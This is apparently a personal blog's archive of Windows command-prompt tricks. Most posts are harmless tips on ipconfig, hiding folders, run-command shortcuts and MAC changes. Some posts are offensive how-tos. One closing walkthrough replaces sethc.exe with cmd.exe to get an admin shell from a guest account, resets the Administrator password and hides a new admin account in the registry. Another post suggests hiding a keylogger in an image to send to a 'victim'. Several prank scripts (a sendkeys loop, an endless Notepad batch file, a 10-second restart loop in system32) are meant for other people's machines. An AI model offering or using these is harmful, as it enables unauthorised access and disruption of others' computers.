Showing posts with label CMD Tricks. Show all posts
Showing posts with label CMD Tricks. Show all posts

Thursday, October 11, 2012

Stop a restart process or shutdown in 3 steps

Some times we need to stop some restart process quickly.
In windows XP some times it gives auto restart warning and here is good solution for it.


1. Go to Start menu

2. Click on RUN

3. Enter the following command excluding hashcodes "shutdown -a"

its Done.
Read more

Tuesday, August 14, 2012

how to find ip address of computer

To find IP address

Go to run
-> cmd

and type

->ipconfig
Read more

Saturday, August 11, 2012

how to request for new ip address

Start -> run -> cmd.exe and click OK

type the following. ENTER after each new line.

- ipconfig /flushdns
- ipconfig /release
- ipconfig /renew
- exit

Erase your cookies in whatever browser you are using

done
Read more

Monday, August 06, 2012

how to know From When Your Computer Is Running

Go to start

> run

> cmd and type

> net statistics workstation

It will show statistics since date & time.

Here's one more other way by using this command
systeminfo.
Read more

Tuesday, December 13, 2011

Hiding files using Steganography (Technique To Information Hiding) trick


Steganography is the technique to place text or any other content behind the images. This is generally performed by the Terrorists to Hide the Secret messages behind the images and conveying the message via sending the Image via Internet.

The Trick :

Let us say we have file named image.jpg and hello.txt.

So for hiding the text behind the image

> Go to run

>cmd

>Type

copy /b image.jpg+hello.txt Final.jpg


Final.jpg is the image behind which text file has hidden.
So in this way you can hide any contents like rar,exe files.
You can also send keylogger to your victim by using this way.
To view the hidden text file > Right click on Final.jpg, open it with notepad, go to
the end of file.
Text will be written in last line.
Read more

Wednesday, November 23, 2011

How to prevent users from writing/coping to usb or any external

This will prevent any user from writing/coping/moving/deleting or doing anything to USB or any external you connect to USB port

The following registry setting will prevent writing to usb in windows xp.
Go to start , click run and type regedit.
Now Navigate to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Contro l
Now Add a new key by right clicking and name it "StorageDevicePolicies".
In the window on the right then create a new DWORD value and label it WriteProtect, give it a value of "1" and users can no longer write to USB drives.
Giving a value of "0" will allow to write again.
Enjoy this little trick.
Read more

Prank Your friends : Make friends scare from VIRUS


Open notepad and type this:

lol=msgbox ("Warning a virus has been detected on your PC. Press YES to format your hard disk now or press NO to format your hard disk after system reboot",20,"Warning")

Then save it as Virus.VBS

and go to the folder that contains it and open it if a window pops out saying a virus has been detected it's working. Press yes or no to close the window and put it in the startup folder of the victim's account.
On startup the window should appear.

Note: This does not harm your computer as it does not contain virus.

The Yes and no button does not do anything except closing the window.
And you can edit or change the name of file, just the extension .VBS is important.
Also you can change the message, like lol=msgbox ("Type your message here")
And yes,In between make sure your victim does not panic and really reformat his hard disk. lol. enjoy
Read more

Wednesday, November 16, 2011

Hide Files and Folders Using Command Prompt -Latest Trick

This trick will hide your private files and folders. Files will not be visible even if you search for it.
This trick is not similar to hiding files from folder options area which is not that secured compared to this.
This is kind of locker for you.
Only you can make it visible if you know the file name or folder name.
Just try it out.Only a two step process.

The Trick :
1) Press windowkey+R: Run command dialog box appears. or go to start and click run.

2) Now type "cmd" and hit enter. A command prompt window displays.
Now type attrib +s +h E:\myfolder and hit enter.
The folder "myfolder" will be hidden which cannot be viewed by any search options.

3) To view this folder again, use the same command but replace '+' with '-' on both flags 's' and 'h'


Enjoy.
Comment if you like it or if any problem.
Read more

Hide Files and Folders Using Command Prompt -Latest Trick

This trick will hide your private files and folders. Files will not be visible even if you search for it.
This trick is not similar to hiding files from folder options area which is not that secured compared to this.
This is kind of locker for you.
Only you can make it visible if you know the file name or folder name.
Just try it out.Only a two step process.

The Trick :
1) Press windowkey+R: Run command dialog box appears. or go to start and click run.

2) Now type "cmd" and hit enter. A command prompt window displays.
Now type attrib +s +h E:\myfolder and hit enter.
The folder "myfolder" will be hidden which cannot be viewed by any search options.

3) To view this folder again, use the same command but replace '+' with '-' on both flags 's' and 'h'


Enjoy.
Comment if you like it or if any problem.
Read more

Hide Files and Folders Using Command Prompt -Latest Trick

This trick will hide your private files and folders. Files will not be visible even if you search for it.
This trick is not similar to hiding files from folder options area which is not that secured compared to this.
This is kind of locker for you.

Only you can make it visible if you know the file name or folder name.
Just try it out.

The Trick :
Step 1) Press windowkey+R: Run command dialog box appears.

Step 2) Now type "cmd" and hit enter. A command prompt window displays.
Now type "attrib +s +h E:\collegephotos" and hit enter.
The folder "collegephotos" will be hidden (Note: It cannot be viewed by any search options)

(To view this folder again, use the same command but replace '+' with '-' on both flags 's' and 'h')


Enjoy.
Comment if you like it or if any problem.
Read more

Saturday, October 15, 2011

How to change MAC address of the system

Steps to change MacAddress of PC

1. Note down the description and current MAC address of the card you want to modify.
To do this, open a command prompt and type the following:

ipconfig /all


2. The description of the card is in the field "Description", whereas the MAC address can be found at the field "Physical address".

3. Start the registry editor by using regedit command in run(regedit under Windows XP, Windows 7, Windows Vista and Windows 2003 server) and open the node

HKEY_LOCAL_MASHINE\System\CurrentControlSet\Control\Class\
{4D36E972-E325-11CE-BFC1-08002BE10318}

Click on each of them until you get Network adapter in description as shown below:

Network Adapter main node


4. Find the node which contains the field Driver Description in the right pane that matches the description of the network adapter you want to change.

5. Now find the registry key "NetworkAddress" (without quotes). If not found create the new one and choose type String key by right clicking there.


6. Double click the entry "NetworkAddress" and enter the new network address. Note that the new network address should have exactly twelve digits like 001122334455

7. Once you entered the new network address, the network adapter has to be restarted. To do this, open the control panel and then "Network and Dialup connections". Right click the network connection you have just modified, and then click disable. After the device has been disabled, right-click the connection again and click Enable.

8. Open a command prompt, and type ipconfig /all to check, whether the new MAC address has been changed. If the displayed physical address is still the same, your network card is probably incapable of changing this setting.

9.Okay. Its done. Enjoy your new Mac Address.
Read more

Wednesday, October 05, 2011

Make your computer speak whatever you type - convert text to voice



Hello guys
I am back with a new post on text to audio trick.
This post will enable to make your computer or laptop speak anything you type, sounds cool, isn't it?. So lets do it, its very simple, little bit of coding and done. well who is telling you to type, just copy and past it in notepad and save it as .vbs.

Simple steps :

1) Open notepad (go to run and type notepad, hit enter).

2) paste the above given code in it.
Dim msg, sapi
msg=InputBox("Enter your name/anything","Talk it")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak msg


3) save it as .VBS

Now open the file and listen to the voice.

let me know if any problem in using it.
enjoy.
Read more

Wednesday, September 28, 2011

Hide files in Image


Hide files in Image
This trick is used to hide files in images in encrypted format.
This is one of the best trick to hide files and send it over internet.

This simple trick can be achieved in few steps:
Select the files you want to hide and compress them using winrar,winzip etc.
Select a file and a picture in one directory and go to that directory using cmd.
Example place a picture and file in c directory (c:\)
Go to Start-->Run and type cmd
In order to open the command promt window
Go to directory where you have placed the files (type cd.. twice to go to C:\)
Type:
COPY /B "name".jpg + "name".zip "new name".jpg


After that process a new jpg file will be crated in C:\ with the name: new name.

If you double click you will see just the image,but if you right click to the file and select extract,your hidden files will be extracted.
Read more

Some unused Cmd Hidden Commands


Direct X Troubleshooter :dxdiag
Disk Cleanup Utility :cleanmgr
Disk Defragment :dfrg.msc
Disk Management :diskmgmt.msc
Disk Partition Manager :diskpart
Display Properties :control desktop
Accessibility Controls :access.cpl
Add Hardware Wizard :hdwwiz.cpl
Add/Remove Programs :appwiz.cpl
Administrative Tools :control admintools
Command Prompt :cmd
Component Services :dcomcnfg
Computer Management :compmgmt.msc
timedate.cpl :ddeshare
Display Properties (w/Appearance Tab Preselected):control color
Dr. Watson System Troubleshooting Utility:drwtsn32
Automatic Updates :wuaucpl.cpl
Bluetooth Transfer Wizard :fsquirt
Calculator :calc
Certificate Manager :certmgr.msc
Character Map :charmap
Check Disk Utility :chkdsk
Clipboard Viewer :clipbrd
Driver Verifier Utility :verifier
Event Viewer :eventvwr.msc
File Signature Verification Tool :sigverif
Device Manager :devmgmt.msc
Direct X Control Panel (If Installed)* :directx.cpl
Game Controllers :joy.cpl
Group Policy Editor (XP Prof) :gpedit.msc
Hearts Card Game :mshearts
Iexpress Wizard :iexpress
Display Properties :desk.cpl
Findfast :findfast.cpl
Folders Properties :control folders
Fonts :control fonts
Fonts Folder :fonts
Free Cell Card Game :freecell
Indexing Service :ciadv.msc
Internet Properties :inetcpl.cpl
IP Configuration (Display Connection Configuration):ipconfig /all
IP Configuration (Display DNS Cache Contents):ipconfig /displaydns
IP Configuration (Delete DNS Cache Contents):ipconfig /flushdns
IP Configuration (Release All Connections):ipconfig /release
IP Configuration (Renew All Connections):ipconfig /renew
IP Configuration (Refreshes DHCP & Re-Registers DNS):ipconfig /registerdns
IP Configuration (Display DHCP Class ID):ipconfig /showclassid
IP Configuration (Modifies DHCP Class ID):ipconfig /setclassid
Java Control Panel (If Installed):jpicpl32.cpl
Java Control Panel (If Installed):javaws
Keyboard Properties :control keyboard
Local Security Settings :secpol.msc
Local Users and Groups :lusrmgr.msc
Logs You Out Of Windows :logoff
Microsoft Chat :winchat
Minesweeper Game :winmine
Mouse Properties :control mouse
Mouse Properties :main.cpl
Network Connections :control netconnections
Network Connections :ncpa.cpl
Network Setup Wizard :netsetup.cpl
Notepad :notepad
Nview Desktop Manager (If Installed) :nvtuicpl.cpl
Object Packager :packager
ODBC Data Source Administrator dbccp32.cpl
On Screen Keyboard sk
Opens AC3 Filter (If Installed) :ac3filter.cpl
Password Properties :password.cpl
Performance Monitor :perfmon.msc
Performance Monitor :perfmon
Phone and Modem Options :telephon.cpl
Power Configuration :powercfg.cpl
Printers and Faxes :control printers
Printers Folder :printers
Private Character Editor :eudcedit
Quicktime (If Installed) :QuickTime.cpl
Regional Settings :intl.cpl
Registry Editor :regedit
Registry Editor :regedit32
Remote Desktop :mstsc
Removable Storage :ntmsmgr.msc
Removable Storage Operator Requests :ntmsoprq.msc
Resultant Set of Policy (XP Prof) :rsop.msc
Scanners and Cameras :sticpl.cpl
Scheduled Tasks :control schedtasks
Security Center :wscui.cpl
Services :services.msc
Shared Folders :fsmgmt.msc
Shuts Down Windows :shutdown
Sounds and Audio :mmsys.cpl
Spider Solitare Card Game :spider
SQL Client Configuration :cliconfg
System Configuration Editor :sysedit
System Configuration Utility :msconfig
System File Checker Utility (Scan Immediately):sfc /scannow
System File Checker Utility (Scan Once At Next Boot):sfc /scanonce
System File Checker Utility (Scan On Every Boot):sfc /scanboot
System File Checker Utility (Return to Default Setting):sfc /revert
System File Checker Utility (Purge File Cache):sfc /purgecache
System File Checker Utility (Set Cache Size to size x):sfc /cachesize=x
System Properties:sysdm.cpl
Task Manager :taskmgr
Telnet Client :telnet
User Account Management :nusrmgr.cpl
Utility Manager :utilman
Windows Firewall :firewall.cpl
Windows Magnifier :magnify
Windows Management Infrastructure :wmimgmt.msc
Windows System Security Tool :syskey
Windows Update Launches :wupdmgr
Windows XP Tour Wizard :tourstart
Read more

Sunday, September 25, 2011

Prank Your Friends : Trick 3




To do above tricks :
open notepad and copy paste above code and save it as Anything.VBS.
send it to your friends :


Hack your friend's keyboard and make him type "You are a fool" simultaneously:
Type :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

Save it as "Anything.VBS" and send it.

Another one :
Open Notepad continually in your friend's computer:
Trick

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Save it as "Anything.BAT" and send it.
Read more

Thursday, September 22, 2011

Is your system running slow ? want to make it faster ? want to increase virtual RAM ? want to analyse and defragment it? check for errors?



This post will increase your computer or laptop speed and make your processing speed faster.

It includes to main steps .
step 1) Increase virtual Ram (Paging)
step 2) Check for errors, Analyze and defragment.


Now step 1) details
It will increase the virtual Ram .just follow the steps


Steps :--

1) Hold down the 'Windows' Key and Press the 'Pause/Break' button at the top right of your keyboard.
Another way is Right-Clicking 'My Computer' and then Select 'Properties'.

2) Click on the 'Advanced' tab.

3) Under 'Performance', click 'Settings'.

4) Then click the 'Advanced' tab on the button that pops up.

5) Under 'Virtual Memory' at the bottom, click 'Change'.

6) Click the 'Custom Size' button.

7) For the initial size (depending on your HD space), type in anywhere from 1000-1500 (although I use 4000), and for the Maximum size type in anywhere from 2000-2500 (although I use 6000).

8) Click 'Set', and then exit out of all of the windows.

9) Finally, Restart your computer.

10) You now have a faster computer and 1-2GB of Virtual RAM..!


Now step 2).

steps)

1) go to my computer

2) right click on c drive, click properties

3) click on tools tab

4) Click check now and start disk check. It will scan the system for errors.
sometimes it show , disk check will take place when you restart computer, if it show such message then click yes and it will automatically check when you restart.

5) follow step 1-4 for all drives.

6) if no message is shown then manually check for errors and then click analyze and after analyzing click defragment.

7) On your next restart you will see the changes in speed.


last step, option but do it,

go to run and type %temp% and delete all files. This are temparary files taking the disk space. Deleting files would not affect the system.some files may not be deleted so just ignore them.

Follow all this steps every week or every month for better performance from your system.

Thank you.

welbour.com
Read more

Friday, September 16, 2011

Some special tricks from command prompt/cmd if logged in through guest account



(1)If you want to open regedit and cmd when run is disabled and you are logged in as guest, you can use notepad.
open notepad and type command.com and save it as cmd.bat this batch file will open command prompt.
if you cant open regedit by run open notepad type regedit and save it as regedit.bat double click on this and regedit window will open.

(2)To abort shutdown ,use notepad
-Open notepad and type shutdown -a and save it as shutdown.bat.next time when your computer is about to shutdown double click on this bat file. for other cmd commands open command prompt and type shutdown a and press enter.

(3)cmd fun virus- open notepad and type shutdown -r 10 and save as restart.bat this will restart your computer in 10 seconds if you want to use this for fun paste this file in system 32 and see. computer will restart in every 10 second.

(4)IP command- open command prompt and type ipconfig/all.
(5)How to know your friend's ip when chatting on a messenger. suppose you are using g-talk. ask your friend for a good wallpaper you have downloaded. send this to him .Now open your cmd and type Netstat -n
Read more

Friday, June 03, 2011

How to find the “real” IP address of a web site?

You can use the PING utility included with Windows to determine the “real” IP address of a web site. Before using this utility, make sure you are not mapping a host name to some IP address with HostName Commander, because if you do, the PING utility will show the address you’ve set up with HostName Commander, instead of the “real” IP address.

To run the PING utility, click on the Windows Start button, and choose Run from the Start Menu. If you use Windows 95,98, or Me, enter “command” (without the quotes) as the command line to run. If you use Windows XP,2000, or NT, enter “cmd” (again, without the quotes). Click OK and the command prompt window should appear on the screen.



Now enter the word “ping” (without the quotes) followed by a space, followed by the host name you want to determine the IP address of, and press Enter:
And done....
Read more

Sunday, December 26, 2010

Trick to Create Your Own Drive

IF U WANT TO CREATE UR OWN PERSONAL DRIVE then…Do this
Go to c drive Create a new folder ( say Project )
now go to command prompt and type
subst z: c:Project
Now go to my computer and check it.New drive should be shown.
To remove the drive go to command prompt and type
subst z: /d
Read more

Saturday, December 11, 2010

Hack administrator from Guest account



Press shift key 5 times and the sticky key dialog shows up.This works even at the logon screen. But If we replace the sethc.exe which is responsible for the sticky key dialog,with cmd.exe, and then call sethc.exe by pressing shift key 5 times at logon screen,we will get a command prompt with administrator privilages because no user has logged on. From there we can hack the administrator password,even from a guest account.

Prerequisites

Guest account with write access to system 32.

Here is how to do that -

Go to C:/windows/system32
Copy cmd.exe and paste it on desktop
rename cmd.exe to sethc.exe
Copy the new sethc.exe to system 32,when windows asks for overwriting the file,then click yes.

Now Log out from your guest account and at the user select window,press shift key 5 times.
Instead of Sticky Key confirmation dialog,command prompt with full administrator privileges will open.


Now type “ NET USER ADMINISTRATOR aaa” where “aaa” can be any password you like and press enter.
You will see “ The Command completed successfully” and then exit the command prompt and login into administrator with your new password.
Congrats You have hacked admin from guest account.
Further..

Also, you can further create a new user at the command prompt by typing “NET USER XERO /ADD” where “XERO” is the username you would like to add with administrator privileges. Then hide your newly created admin account by -

Go to registry editor and navigate to this key
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]
Here create a new DWORD value, write its name as the “user name” that u created for your admin account and live with your admin account forever :)
Read more